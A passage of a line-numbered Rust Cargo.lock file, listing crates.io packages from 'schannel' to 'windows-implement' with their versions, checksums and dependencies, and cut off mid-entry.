name = "schannel" 2326 | version = "0.1.27" 2327 | source = "registry+https://github.com/rust-lang/crates.io-index" 2328 | checksum = "1f29ebaa345f945cec9fbbc532eb307f0fdad8161f281b6369539c8d84876b3d" 2329 | dependencies = [ 2330 | "windows-sys 0.59.0", 2331 | ] 2332 | 2333 | [[package]] 2334 | name = "scopeguard" 2335 | version = "1.2.0" 2336 | source = "registry+https://github.com/rust-lang/crates.io-index" 2337 | checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" 2338 | 2339 | [[package]] 2340 | name = "sct" 2341 | version = "0.7.1" 2342 | source = "registry+https://github.com/rust-lang/crates.io-index" 2343 | checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" 2344 | dependencies = [ 2345 | "ring", 2346 | "untrusted", 2347 | ] 2348 | 2349 | [[package]] 2350 | name = "sec1" 2351 | version = "0.3.0" 2352 | source = "registry+https://github.com/rust-lang/crates.io-index" 2353 | checksum = "3be24c1842290c45df0a7bf069e0c268a747ad05a192f2fd7dcfdbc1cba40928" 2354 | dependencies = [ 2355 | "base16ct", 2356 | "der", 2357 | "generic-array", 2358 | "pkcs8", 2359 | "subtle", 2360 | "zeroize", 2361 | ] 2362 | 2363 | [[package]] 2364 | name = "security-framework" 2365 | version = "2.11.1" 2366 | source = "registry+https://github.com/rust-lang/crates.io-index" 2367 | checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" 2368 | dependencies = [ 2369 | "bitflags", 2370 | "core-foundation 0.9.4", 2371 | "core-foundation-sys", 2372 | "libc", 2373 | "security-framework-sys", 2374 | ] 2375 | 2376 | [[package]] 2377 | name = "security-framework" 2378 | version = "3.2.0" 2379 | source = "registry+https://github.com/rust-lang/crates.io-index" 2380 | checksum = "271720403f46ca04f7ba6f55d438f8bd878d6b8ca0a1046e8228c4145bcbb316" 2381 | dependencies = [ 2382 | "bitflags", 2383 | "core-foundation 0.10.1", 2384 | "core-foundation-sys", 2385 | "libc", 2386 | "security-framework-sys", 2387 | ] 2388 | 2389 | [[package]] 2390 | name = "security-framework-sys" 2391 | version = "2.14.0" 2392 | source = "registry+https://github.com/rust-lang/crates.io-index" 2393 | checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32" 2394 | dependencies = [ 2395 | "core-foundation-sys", 2396 | "libc", 2397 | ] 2398 | 2399 | [[package]] 2400 | name = "semver" 2401 | version = "1.0.26" 2402 | source = "registry+https://github.com/rust-lang/crates.io-index" 2403 | checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" 2404 | 2405 | [[package]] 2406 | name = "serde" 2407 | version = "1.0.219" 2408 | source = "registry+https://github.com/rust-lang/crates.io-index" 2409 | checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" 2410 | dependencies = [ 2411 | "serde_derive", 2412 | ] 2413 | 2414 | [[package]] 2415 | name = "serde_derive" 2416 | version = "1.0.219" 2417 | source = "registry+https://github.com/rust-lang/crates.io-index" 2418 | checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" 2419 | dependencies = [ 2420 | "proc-macro2", 2421 | "quote", 2422 | "syn", 2423 | ] 2424 | 2425 | [[package]] 2426 | name = "serde_json" 2427 | version = "1.0.141" 2428 | source = "registry+https://github.com/rust-lang/crates.io-index" 2429 | checksum = "30b9eff21ebe718216c6ec64e1d9ac57087aad11efc64e32002bce4a0d4c03d3" 2430 | dependencies = [ 2431 | "itoa", 2432 | "memchr", 2433 | "ryu", 2434 | "serde", 2435 | ] 2436 | 2437 | [[package]] 2438 | name = "serde_urlencoded" 2439 | version = "0.7.1" 2440 | source = "registry+https://github.com/rust-lang/crates.io-index" 2441 | checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" 2442 | dependencies = [ 2443 | "form_urlencoded", 2444 | "itoa", 2445 | "ryu", 2446 | "serde", 2447 | ] 2448 | 2449 | [[package]] 2450 | name = "sha1" 2451 | version = "0.10.6" 2452 | source = "registry+https://github.com/rust-lang/crates.io-index" 2453 | checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" 2454 | dependencies = [ 2455 | "cfg-if", 2456 | "cpufeatures", 2457 | "digest", 2458 | ] 2459 | 2460 | [[package]] 2461 | name = "sha2" 2462 | version = "0.10.9" 2463 | source = "registry+https://github.com/rust-lang/crates.io-index" 2464 | checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" 2465 | dependencies = [ 2466 | "cfg-if", 2467 | "cpufeatures", 2468 | "digest", 2469 | ] 2470 | 2471 | [[package]] 2472 | name = "sharded-slab" 2473 | version = "0.1.7" 2474 | source = "registry+https://github.com/rust-lang/crates.io-index" 2475 | checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" 2476 | dependencies = [ 2477 | "lazy_static", 2478 | ] 2479 | 2480 | [[package]] 2481 | name = "shlex" 2482 | version = "1.3.0" 2483 | source = "registry+https://github.com/rust-lang/crates.io-index" 2484 | checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" 2485 | 2486 | [[package]] 2487 | name = "signal-hook-registry" 2488 | version = "1.4.5" 2489 | source = "registry+https://github.com/rust-lang/crates.io-index" 2490 | checksum = "9203b8055f63a2a00e2f593bb0510367fe707d7ff1e5c872de2f537b339e5410" 2491 | dependencies = [ 2492 | "libc", 2493 | ] 2494 | 2495 | [[package]] 2496 | name = "signature" 2497 | version = "1.6.4" 2498 | source = "registry+https://github.com/rust-lang/crates.io-index" 2499 | checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c" 2500 | dependencies = [ 2501 | "digest", 2502 | "rand_core 0.6.4", 2503 | ] 2504 | 2505 | [[package]] 2506 | name = "slab" 2507 | version = "0.4.10" 2508 | source = "registry+https://github.com/rust-lang/crates.io-index" 2509 | checksum = "04dc19736151f35336d325007ac991178d504a119863a2fcb3758cdb5e52c50d" 2510 | 2511 | [[package]] 2512 | name = "smallvec" 2513 | version = "1.15.1" 2514 | source = "registry+https://github.com/rust-lang/crates.io-index" 2515 | checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" 2516 | 2517 | [[package]] 2518 | name = "socket2" 2519 | version = "0.5.10" 2520 | source = "registry+https://github.com/rust-lang/crates.io-index" 2521 | checksum = "e22376abed350d73dd1cd119b57ffccad95b4e585a7cda43e286245ce23c0678" 2522 | dependencies = [ 2523 | "libc", 2524 | "windows-sys 0.52.0", 2525 | ] 2526 | 2527 | [[package]] 2528 | name = "socket2" 2529 | version = "0.6.0" 2530 | source = "registry+https://github.com/rust-lang/crates.io-index" 2531 | checksum = "233504af464074f9d066d7b5416c5f9b894a5862a6506e306f7b816cdd6f1807" 2532 | dependencies = [ 2533 | "libc", 2534 | "windows-sys 0.59.0", 2535 | ] 2536 | 2537 | [[package]] 2538 | name = "spki" 2539 | version = "0.6.0" 2540 | source = "registry+https://github.com/rust-lang/crates.io-index" 2541 | checksum = "67cf02bbac7a337dc36e4f5a693db6c21e7863f45070f7064577eb4367a3212b" 2542 | dependencies = [ 2543 | "base64ct", 2544 | "der", 2545 | ] 2546 | 2547 | [[package]] 2548 | name = "stable_deref_trait" 2549 | version = "1.2.0" 2550 | source = "registry+https://github.com/rust-lang/crates.io-index" 2551 | checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" 2552 | 2553 | [[package]] 2554 | name = "strsim" 2555 | version = "0.11.1" 2556 | source = "registry+https://github.com/rust-lang/crates.io-index" 2557 | checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" 2558 | 2559 | [[package]] 2560 | name = "subtle" 2561 | version = "2.6.1" 2562 | source = "registry+https://github.com/rust-lang/crates.io-index" 2563 | checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" 2564 | 2565 | [[package]] 2566 | name = "syn" 2567 | version = "2.0.104" 2568 | source = "registry+https://github.com/rust-lang/crates.io-index" 2569 | checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40" 2570 | dependencies = [ 2571 | "proc-macro2", 2572 | "quote", 2573 | "unicode-ident", 2574 | ] 2575 | 2576 | [[package]] 2577 | name = "sync_wrapper" 2578 | version = "1.0.2" 2579 | source = "registry+https://github.com/rust-lang/crates.io-index" 2580 | checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" 2581 | dependencies = [ 2582 | "futures-core", 2583 | ] 2584 | 2585 | [[package]] 2586 | name = "synstructure" 2587 | version = "0.13.2" 2588 | source = "registry+https://github.com/rust-lang/crates.io-index" 2589 | checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" 2590 | dependencies = [ 2591 | "proc-macro2", 2592 | "quote", 2593 | "syn", 2594 | ] 2595 | 2596 | [[package]] 2597 | name = "sysinfo" 2598 | version = "0.36.1" 2599 | source = "registry+https://github.com/rust-lang/crates.io-index" 2600 | checksum = "252800745060e7b9ffb7b2badbd8b31cfa4aa2e61af879d0a3bf2a317c20217d" 2601 | dependencies = [ 2602 | "libc", 2603 | "memchr", 2604 | "ntapi", 2605 | "objc2-core-foundation", 2606 | "objc2-io-kit", 2607 | "windows", 2608 | ] 2609 | 2610 | [[package]] 2611 | name = "thiserror" 2612 | version = "2.0.12" 2613 | source = "registry+https://github.com/rust-lang/crates.io-index" 2614 | checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708" 2615 | dependencies = [ 2616 | "thiserror-impl", 2617 | ] 2618 | 2619 | [[package]] 2620 | name = "thiserror-impl" 2621 | version = "2.0.12" 2622 | source = "registry+https://github.com/rust-lang/crates.io-index" 2623 | checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d" 2624 | dependencies = [ 2625 | "proc-macro2", 2626 | "quote", 2627 | "syn", 2628 | ] 2629 | 2630 | [[package]] 2631 | name = "thread_local" 2632 | version = "1.1.9" 2633 | source = "registry+https://github.com/rust-lang/crates.io-index" 2634 | checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" 2635 | dependencies = [ 2636 | "cfg-if", 2637 | ] 2638 | 2639 | [[package]] 2640 | name = "time" 2641 | version = "0.3.41" 2642 | source = "registry+https://github.com/rust-lang/crates.io-index" 2643 | checksum = "8a7619e19bc266e0f9c5e6686659d394bc57973859340060a69221e57dbc0c40" 2644 | dependencies = [ 2645 | "deranged", 2646 | "num-conv", 2647 | "powerfmt", 2648 | "serde", 2649 | "time-core", 2650 | "time-macros", 2651 | ] 2652 | 2653 | [[package]] 2654 | name = "time-core" 2655 | version = "0.1.4" 2656 | source = "registry+https://github.com/rust-lang/crates.io-index" 2657 | checksum = "c9e9a38711f559d9e3ce1cdb06dd7c5b8ea546bc90052da6d06bb76da74bb07c" 2658 | 2659 | [[package]] 2660 | name = "time-macros" 2661 | version = "0.2.22" 2662 | source = "registry+https://github.com/rust-lang/crates.io-index" 2663 | checksum = "3526739392ec93fd8b359c8e98514cb3e8e021beb4e5f597b00a0221f8ed8a49" 2664 | dependencies = [ 2665 | "num-conv", 2666 | "time-core", 2667 | ] 2668 | 2669 | [[package]] 2670 | name = "tinystr" 2671 | version = "0.8.1" 2672 | source = "registry+https://github.com/rust-lang/crates.io-index" 2673 | checksum = "5d4f6d1145dcb577acf783d4e601bc1d76a13337bb54e6233add580b07344c8b" 2674 | dependencies = [ 2675 | "displaydoc", 2676 | "zerovec", 2677 | ] 2678 | 2679 | [[package]] 2680 | name = "tinyvec" 2681 | version = "1.9.0" 2682 | source = "registry+https://github.com/rust-lang/crates.io-index" 2683 | checksum = "09b3661f17e86524eccd4371ab0429194e0d7c008abb45f7a7495b1719463c71" 2684 | dependencies = [ 2685 | "tinyvec_macros", 2686 | ] 2687 | 2688 | [[package]] 2689 | name = "tinyvec_macros" 2690 | version = "0.1.1" 2691 | source = "registry+https://github.com/rust-lang/crates.io-index" 2692 | checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" 2693 | 2694 | [[package]] 2695 | name = "tokio" 2696 | version = "1.47.0" 2697 | source = "registry+https://github.com/rust-lang/crates.io-index" 2698 | checksum = "43864ed400b6043a4757a25c7a64a8efde741aed79a056a2fb348a406701bb35" 2699 | dependencies = [ 2700 | "backtrace", 2701 | "bytes", 2702 | "io-uring", 2703 | "libc", 2704 | "mio", 2705 | "parking_lot", 2706 | "pin-project-lite", 2707 | "signal-hook-registry", 2708 | "slab", 2709 | "socket2 0.6.0", 2710 | "tokio-macros", 2711 | "windows-sys 0.59.0", 2712 | ] 2713 | 2714 | [[package]] 2715 | name = "tokio-macros" 2716 | version = "2.5.0" 2717 | source = "registry+https://github.com/rust-lang/crates.io-index" 2718 | checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8" 2719 | dependencies = [ 2720 | "proc-macro2", 2721 | "quote", 2722 | "syn", 2723 | ] 2724 | 2725 | [[package]] 2726 | name = "tokio-retry2" 2727 | version = "0.5.7" 2728 | source = "registry+https://github.com/rust-lang/crates.io-index" 2729 | checksum = "1264d076dd34560544a2799e40e457bd07c43d30f4a845686b031bcd8455c84f" 2730 | dependencies = [ 2731 | "pin-project", 2732 | "tokio", 2733 | ] 2734 | 2735 | [[package]] 2736 | name = "tokio-rustls" 2737 | version = "0.24.1" 2738 | source = "registry+https://github.com/rust-lang/crates.io-index" 2739 | checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" 2740 | dependencies = [ 2741 | "rustls 0.21.12", 2742 | "tokio", 2743 | ] 2744 | 2745 | [[package]] 2746 | name = "tokio-rustls" 2747 | version = "0.26.2" 2748 | source = "registry+https://github.com/rust-lang/crates.io-index" 2749 | checksum = "8e727b36a1a0e8b74c376ac2211e40c2c8af09fb4013c60d910495810f008e9b" 2750 | dependencies = [ 2751 | "rustls 0.23.30", 2752 | "tokio", 2753 | ] 2754 | 2755 | [[package]] 2756 | name = "tokio-tungstenite" 2757 | version = "0.27.0" 2758 | source = "registry+https://github.com/rust-lang/crates.io-index" 2759 | checksum = "489a59b6730eda1b0171fcfda8b121f4bee2b35cba8645ca35c5f7ba3eb736c1" 2760 | dependencies = [ 2761 | "futures-util", 2762 | "log", 2763 | "rustls 0.23.30", 2764 | "rustls-native-certs 0.8.1", 2765 | "rustls-pki-types", 2766 | "tokio", 2767 | "tokio-rustls 0.26.2", 2768 | "tungstenite", 2769 | ] 2770 | 2771 | [[package]] 2772 | name = "tokio-util" 2773 | version = "0.7.15" 2774 | source = "registry+https://github.com/rust-lang/crates.io-index" 2775 | checksum = "66a539a9ad6d5d281510d5bd368c973d636c02dbf8a67300bfb6b950696ad7df" 2776 | dependencies = [ 2777 | "bytes", 2778 | "futures-core", 2779 | "futures-sink", 2780 | "pin-project-lite", 2781 | "tokio", 2782 | ] 2783 | 2784 | [[package]] 2785 | name = "tower" 2786 | version = "0.5.2" 2787 | source = "registry+https://github.com/rust-lang/crates.io-index" 2788 | checksum = "d039ad9159c98b70ecfd540b2573b97f7f52c3e8d9f8ad57a24b916a536975f9" 2789 | dependencies = [ 2790 | "futures-core", 2791 | "futures-util", 2792 | "pin-project-lite", 2793 | "sync_wrapper", 2794 | "tokio", 2795 | "tower-layer", 2796 | "tower-service", 2797 | ] 2798 | 2799 | [[package]] 2800 | name = "tower-http" 2801 | version = "0.6.6" 2802 | source = "registry+https://github.com/rust-lang/crates.io-index" 2803 | checksum = "adc82fd73de2a9722ac5da747f12383d2bfdb93591ee6c58486e0097890f05f2" 2804 | dependencies = [ 2805 | "bitflags", 2806 | "bytes", 2807 | "futures-util", 2808 | "http 1.3.1", 2809 | "http-body 1.0.1", 2810 | "iri-string", 2811 | "pin-project-lite", 2812 | "tower", 2813 | "tower-layer", 2814 | "tower-service", 2815 | ] 2816 | 2817 | [[package]] 2818 | name = "tower-layer" 2819 | version = "0.3.3" 2820 | source = "registry+https://github.com/rust-lang/crates.io-index" 2821 | checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" 2822 | 2823 | [[package]] 2824 | name = "tower-service" 2825 | version = "0.3.3" 2826 | source = "registry+https://github.com/rust-lang/crates.io-index" 2827 | checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" 2828 | 2829 | [[package]] 2830 | name = "tracing" 2831 | version = "0.1.41" 2832 | source = "registry+https://github.com/rust-lang/crates.io-index" 2833 | checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" 2834 | dependencies = [ 2835 | "pin-project-lite", 2836 | "tracing-attributes", 2837 | "tracing-core", 2838 | ] 2839 | 2840 | [[package]] 2841 | name = "tracing-attributes" 2842 | version = "0.1.30" 2843 | source = "registry+https://github.com/rust-lang/crates.io-index" 2844 | checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903" 2845 | dependencies = [ 2846 | "proc-macro2", 2847 | "quote", 2848 | "syn", 2849 | ] 2850 | 2851 | [[package]] 2852 | name = "tracing-core" 2853 | version = "0.1.34" 2854 | source = "registry+https://github.com/rust-lang/crates.io-index" 2855 | checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" 2856 | dependencies = [ 2857 | "once_cell", 2858 | "valuable", 2859 | ] 2860 | 2861 | [[package]] 2862 | name = "tracing-log" 2863 | version = "0.2.0" 2864 | source = "registry+https://github.com/rust-lang/crates.io-index" 2865 | checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" 2866 | dependencies = [ 2867 | "log", 2868 | "once_cell", 2869 | "tracing-core", 2870 | ] 2871 | 2872 | [[package]] 2873 | name = "tracing-subscriber" 2874 | version = "0.3.19" 2875 | source = "registry+https://github.com/rust-lang/crates.io-index" 2876 | checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008" 2877 | dependencies = [ 2878 | "nu-ansi-term", 2879 | "sharded-slab", 2880 | "smallvec", 2881 | "thread_local", 2882 | "tracing-core", 2883 | "tracing-log", 2884 | ] 2885 | 2886 | [[package]] 2887 | name = "try-lock" 2888 | version = "0.2.5" 2889 | source = "registry+https://github.com/rust-lang/crates.io-index" 2890 | checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" 2891 | 2892 | [[package]] 2893 | name = "tungstenite" 2894 | version = "0.27.0" 2895 | source = "registry+https://github.com/rust-lang/crates.io-index" 2896 | checksum = "eadc29d668c91fcc564941132e17b28a7ceb2f3ebf0b9dae3e03fd7a6748eb0d" 2897 | dependencies = [ 2898 | "bytes", 2899 | "data-encoding", 2900 | "http 1.3.1", 2901 | "httparse", 2902 | "log", 2903 | "rand", 2904 | "rustls 0.23.30", 2905 | "rustls-pki-types", 2906 | "sha1", 2907 | "thiserror", 2908 | "utf-8", 2909 | ] 2910 | 2911 | [[package]] 2912 | name = "typenum" 2913 | version = "1.18.0" 2914 | source = "registry+https://github.com/rust-lang/crates.io-index" 2915 | checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" 2916 | 2917 | [[package]] 2918 | name = "unicode-ident" 2919 | version = "1.0.18" 2920 | source = "registry+https://github.com/rust-lang/crates.io-index" 2921 | checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" 2922 | 2923 | [[package]] 2924 | name = "untrusted" 2925 | version = "0.9.0" 2926 | source = "registry+https://github.com/rust-lang/crates.io-index" 2927 | checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" 2928 | 2929 | [[package]] 2930 | name = "url" 2931 | version = "2.5.4" 2932 | source = "registry+https://github.com/rust-lang/crates.io-index" 2933 | checksum = "32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60" 2934 | dependencies = [ 2935 | "form_urlencoded", 2936 | "idna", 2937 | "percent-encoding", 2938 | ] 2939 | 2940 | [[package]] 2941 | name = "utf-8" 2942 | version = "0.7.6" 2943 | source = "registry+https://github.com/rust-lang/crates.io-index" 2944 | checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" 2945 | 2946 | [[package]] 2947 | name = "utf8_iter" 2948 | version = "1.0.4" 2949 | source = "registry+https://github.com/rust-lang/crates.io-index" 2950 | checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" 2951 | 2952 | [[package]] 2953 | name = "utf8parse" 2954 | version = "0.2.2" 2955 | source = "registry+https://github.com/rust-lang/crates.io-index" 2956 | checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" 2957 | 2958 | [[package]] 2959 | name = "uuid" 2960 | version = "1.17.0" 2961 | source = "registry+https://github.com/rust-lang/crates.io-index" 2962 | checksum = "3cf4199d1e5d15ddd86a694e4d0dffa9c323ce759fea589f00fef9d81cc1931d" 2963 | dependencies = [ 2964 | "getrandom 0.3.3", 2965 | "js-sys", 2966 | "wasm-bindgen", 2967 | ] 2968 | 2969 | [[package]] 2970 | name = "valuable" 2971 | version = "0.1.1" 2972 | source = "registry+https://github.com/rust-lang/crates.io-index" 2973 | checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" 2974 | 2975 | [[package]] 2976 | name = "version_check" 2977 | version = "0.9.5" 2978 | source = "registry+https://github.com/rust-lang/crates.io-index" 2979 | checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" 2980 | 2981 | [[package]] 2982 | name = "vsimd" 2983 | version = "0.8.0" 2984 | source = "registry+https://github.com/rust-lang/crates.io-index" 2985 | checksum = "5c3082ca00d5a5ef149bb8b555a72ae84c9c59f7250f013ac822ac2e49b19c64" 2986 | 2987 | [[package]] 2988 | name = "want" 2989 | version = "0.3.1" 2990 | source = "registry+https://github.com/rust-lang/crates.io-index" 2991 | checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" 2992 | dependencies = [ 2993 | "try-lock", 2994 | ] 2995 | 2996 | [[package]] 2997 | name = "wasi" 2998 | version = "0.11.1+wasi-snapshot-preview1" 2999 | source = "registry+https://github.com/rust-lang/crates.io-index" 3000 | checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" 3001 | 3002 | [[package]] 3003 | name = "wasi" 3004 | version = "0.14.2+wasi-0.2.4" 3005 | source = "registry+https://github.com/rust-lang/crates.io-index" 3006 | checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" 3007 | dependencies = [ 3008 | "wit-bindgen-rt", 3009 | ] 3010 | 3011 | [[package]] 3012 | name = "wasm-bindgen" 3013 | version = "0.2.100" 3014 | source = "registry+https://github.com/rust-lang/crates.io-index" 3015 | checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5" 3016 | dependencies = [ 3017 | "cfg-if", 3018 | "once_cell", 3019 | "rustversion", 3020 | "wasm-bindgen-macro", 3021 | ] 3022 | 3023 | [[package]] 3024 | name = "wasm-bindgen-backend" 3025 | version = "0.2.100" 3026 | source = "registry+https://github.com/rust-lang/crates.io-index" 3027 | checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6" 3028 | dependencies = [ 3029 | "bumpalo", 3030 | "log", 3031 | "proc-macro2", 3032 | "quote", 3033 | "syn", 3034 | "wasm-bindgen-shared", 3035 | ] 3036 | 3037 | [[package]] 3038 | name = "wasm-bindgen-futures" 3039 | version = "0.4.50" 3040 | source = "registry+https://github.com/rust-lang/crates.io-index" 3041 | checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61" 3042 | dependencies = [ 3043 | "cfg-if", 3044 | "js-sys", 3045 | "once_cell", 3046 | "wasm-bindgen", 3047 | "web-sys", 3048 | ] 3049 | 3050 | [[package]] 3051 | name = "wasm-bindgen-macro" 3052 | version = "0.2.100" 3053 | source = "registry+https://github.com/rust-lang/crates.io-index" 3054 | checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407" 3055 | dependencies = [ 3056 | "quote", 3057 | "wasm-bindgen-macro-support", 3058 | ] 3059 | 3060 | [[package]] 3061 | name = "wasm-bindgen-macro-support" 3062 | version = "0.2.100" 3063 | source = "registry+https://github.com/rust-lang/crates.io-index" 3064 | checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de" 3065 | dependencies = [ 3066 | "proc-macro2", 3067 | "quote", 3068 | "syn", 3069 | "wasm-bindgen-backend", 3070 | "wasm-bindgen-shared", 3071 | ] 3072 | 3073 | [[package]] 3074 | name = "wasm-bindgen-shared" 3075 | version = "0.2.100" 3076 | source = "registry+https://github.com/rust-lang/crates.io-index" 3077 | checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d" 3078 | dependencies = [ 3079 | "unicode-ident", 3080 | ] 3081 | 3082 | [[package]] 3083 | name = "web-sys" 3084 | version = "0.3.77" 3085 | source = "registry+https://github.com/rust-lang/crates.io-index" 3086 | checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2" 3087 | dependencies = [ 3088 | "js-sys", 3089 | "wasm-bindgen", 3090 | ] 3091 | 3092 | [[package]] 3093 | name = "web-time" 3094 | version = "1.1.0" 3095 | source = "registry+https://github.com/rust-lang/crates.io-index" 3096 | checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" 3097 | dependencies = [ 3098 | "js-sys", 3099 | "wasm-bindgen", 3100 | ] 3101 | 3102 | [[package]] 3103 | name = "webpki-roots" 3104 | version = "1.0.2" 3105 | source = "registry+https://github.com/rust-lang/crates.io-index" 3106 | checksum = "7e8983c3ab33d6fb807cfcdad2491c4ea8cbc8ed839181c7dfd9c67c83e261b2" 3107 | dependencies = [ 3108 | "rustls-pki-types", 3109 | ] 3110 | 3111 | [[package]] 3112 | name = "which" 3113 | version = "4.4.2" 3114 | source = "registry+https://github.com/rust-lang/crates.io-index" 3115 | checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" 3116 | dependencies = [ 3117 | "either", 3118 | "home", 3119 | "once_cell", 3120 | "rustix", 3121 | ] 3122 | 3123 | [[package]] 3124 | name = "winapi" 3125 | version = "0.3.9" 3126 | source = "registry+https://github.com/rust-lang/crates.io-index" 3127 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 3128 | dependencies = [ 3129 | "winapi-i686-pc-windows-gnu", 3130 | "winapi-x86_64-pc-windows-gnu", 3131 | ] 3132 | 3133 | [[package]] 3134 | name = "winapi-i686-pc-windows-gnu" 3135 | version = "0.4.0" 3136 | source = "registry+https://github.com/rust-lang/crates.io-index" 3137 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 3138 | 3139 | [[package]] 3140 | name = "winapi-x86_64-pc-windows-gnu" 3141 | version = "0.4.0" 3142 | source = "registry+https://github.com/rust-lang/crates.io-index" 3143 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 3144 | 3145 | [[package]] 3146 | name = "windows" 3147 | version = "0.61.3" 3148 | source = "registry+https://github.com/rust-lang/crates.io-index" 3149 | checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893" 3150 | dependencies = [ 3151 | "windows-collections", 3152 | "windows-core", 3153 | "windows-future", 3154 | "windows-link", 3155 | "windows-numerics", 3156 | ] 3157 | 3158 | [[package]] 3159 | name = "windows-collections" 3160 | version = "0.2.0" 3161 | source = "registry+https://github.com/rust-lang/crates.io-index" 3162 | checksum = "3beeceb5e5cfd9eb1d76b381630e82c4241ccd0d27f1a39ed41b2760b255c5e8" 3163 | dependencies = [ 3164 | "windows-core", 3165 | ] 3166 | 3167 | [[package]] 3168 | name = "windows-core" 3169 | version = "0.61.2" 3170 | source = "registry+https://github.com/rust-lang/crates.io-index" 3171 | checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3" 3172 | dependencies = [ 3173 | "windows-implement", 3174 | "windows-interface", 3175 | "windows-link", 3176 | "windows-result", 3177 | "windows-strings", 3178 | ] 3179 | 3180 | [[package]] 3181 | name = "windows-future" 3182 | version = "0.2.1" 3183 | source = "registry+https://github.com/rust-lang/crates.io-index" 3184 | checksum = "fc6a41e98427b19fe4b73c550f060b59fa592d7d686537eebf9385621bfbad8e" 3185 | dependencies = [ 3186 | "windows-core", 3187 | "windows-link", 3188 | "windows-threading", 3189 | ] 3190 | 3191 | [[package]] 3192 | name = "windows-implement" 3193 | version = "0.60.0" 3194 | source = "registry+https://github.com/rust-lang/crates.io-index" 3195 | checksum = 